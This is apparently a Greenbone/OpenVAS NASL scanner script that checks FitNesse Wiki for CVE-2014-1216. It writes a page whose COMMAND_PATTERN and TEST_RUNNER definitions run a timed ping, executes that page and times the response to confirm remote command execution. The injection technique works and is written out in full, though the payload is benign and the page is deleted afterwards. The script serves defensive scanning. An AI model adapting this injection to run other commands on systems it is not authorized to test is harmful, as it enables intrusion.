Fitnesse Wiki Remote Command Execution Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802069");
  script_cve_id("CVE-2014-1216");
  script_version("2023-10-12T05:05:32+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-10-12 05:05:32 +0000 (Thu, 12 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-03-17 10:20:42 +0530 (Mon, 17 Mar 2014)");
  script_name("Fitnesse Wiki Remote Command Execution Vulnerability");

  script_tag(name:"summary", value:"Fitnesse Wiki is prone to a remote command execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Try to execute a command on the remote host");

  script_tag(name:"insight", value:"The flaw is due to not properly validating the syntax of edited pages to
  check whether the pages are introducing any extra parameters that could be
  executed in the context of the application.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute arbitrary
  commands in the context of the affected application.");

  script_tag(name:"affected", value:"Fitnesse Wiki version 20140201 and earlier.");

  script_tag(name:"solution", value:"No known solution was made available
  for at least one year since the disclosure of this vulnerability. Likely none will
  be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another
  one.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/57121");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65921");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2014/Mar/1");
  script_xref(name:"URL", value:"https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-1216");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80, 8080);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");

function cleanup(host, http_port, fpath)
{

  ## Delete the page
  post_data = string("confirmed=Yes");
  post_data_len = strlen(post_data);
  referer = string("http://", host, fpath, "?deletePage");

  ## Cleanup the added code by deleting the page
  fwiki_req3 = 'POST ' + fpath + "?deletePage" + ' HTTP/1.1\r\n' +
               'Host: ' + host + '\r\n' +
               'Content-Type: application/x-www-form-urlencoded\r\n' +
               'Referer: '+ referer + '\r\n' +
               'Content-Length: ' + post_data_len + '\r\n' +
               '\r\n' + post_data;
  fwiki_res3 = http_keepalive_send_recv( port:http_port, data:fwiki_req3, bodyonly:FALSE );
}

http_port = http_get_port(default:80);
host = http_host_name(port:http_port);

foreach dir (make_list_unique("/", "/wiki", "/fitnesse", http_cgi_dirs(port:http_port)))
{

  if(dir == "/") dir = "";

  fwiki_res1 = http_get_cache(item:string(dir, "/"), port:http_port);

  if(">FitNesse<" >!< fwiki_res1) {
    continue;
  }

  ## Random Page
  fpath = dir + "/TestP" + rand_str(charset:"abcdefghijklmnopqrstuvwxyz", length:7);

  ## Edit random page for adding the content
  fwiki_req2 = http_get(item:string(fpath,"?edit"), port:http_port);
  fwiki_res2 = http_keepalive_send_recv(port:http_port, data:fwiki_req2);

  ## Extract editTime and ticketId for future request
  edit_time = eregmatch(pattern:'name="editTime" value="([0-9]+)"' , string:fwiki_res2);
  ticket_id = eregmatch(pattern:'name="ticketId" value="(-?[0-9]+)"' , string:fwiki_res2);

  if(isnull(edit_time[1]) || isnull(ticket_id[1])){
    continue;
  }

  sleep = make_list(5, 8);

  ## Use sleep time to check we are able to execute command
  foreach sec (sleep)
  {
    ## i.e cmd.exe  /c "ping -n 11 127.0.0.1>nul" will wait for 10 seconds
    ## and for Linux sleep command i.e sleep 10
    if(os_host_runs("Windows") == "yes"){
      cmd = '%21define+COMMAND_PATTERN+%7B%25m+%7C%7C+%7D%0D%0A';
      cmd += '%21define+TEST_RUNNER+%7B';
      cmd += 'cmd.exe+/c+"ping+-n+' + (sec+1) + '+127.0.0.1>nul';
      cmd += '%7D%0D%0A';
      wait_extra_sec = 5;
    } else {
      cmd = '%21define+COMMAND_PATTERN+%7B%25m+%7D%0D%0A';
      cmd += '%21define+TEST_RUNNER+%7B';
      cmd += 'ping+-i+0.1+-c+' + sec + '+127.0.0.1';
      cmd += '%7D%0D%0A';
      wait_extra_sec = 7;
    }

    post_data = string("editTime=", edit_time[1], "&ticketId=", ticket_id[1],
                "&responder=saveData&helpText=&suites=&__EDITOR__1=textarea&",
                "pageContent=", cmd, "&save=Save");
    post_data_len = strlen(post_data);
    referer = string("http://", host, fpath, "?edit");

    fwiki_req1 = 'POST ' + fpath + ' HTTP/1.1\r\n' +
                 'Host: ' + host + '\r\n' +
                 'Content-Type: application/x-www-form-urlencoded\r\n' +
                 'Referer: '+ referer + '\r\n' +
                 'Content-Length: ' + post_data_len + '\r\n' +
                 '\r\n' + post_data;
    fwiki_res1 = http_keepalive_send_recv( port:http_port, data:fwiki_req1, bodyonly:FALSE );

    ## Execute added content
    fwiki_req2 = http_get(item:string(fpath,"?test"), port:http_port);

    ## Now check how much time it's taking to execute
    start = unixtime();
    fwiki_res2 = http_keepalive_send_recv(port:http_port, data:fwiki_req2);
    stop = unixtime();

    time_taken = stop - start;

    if(time_taken < sec || time_taken > ( sec+wait_extra_sec ))
    {
      ## Cleanup the added page
      cleanup(host:host, http_port:http_port, fpath:fpath);
      exit(0);
    }
  }

  ## Cleanup the added page
  cleanup(host:host, http_port:http_port, fpath:fpath);
  security_message(port:http_port);
  exit(0);
}

exit(99);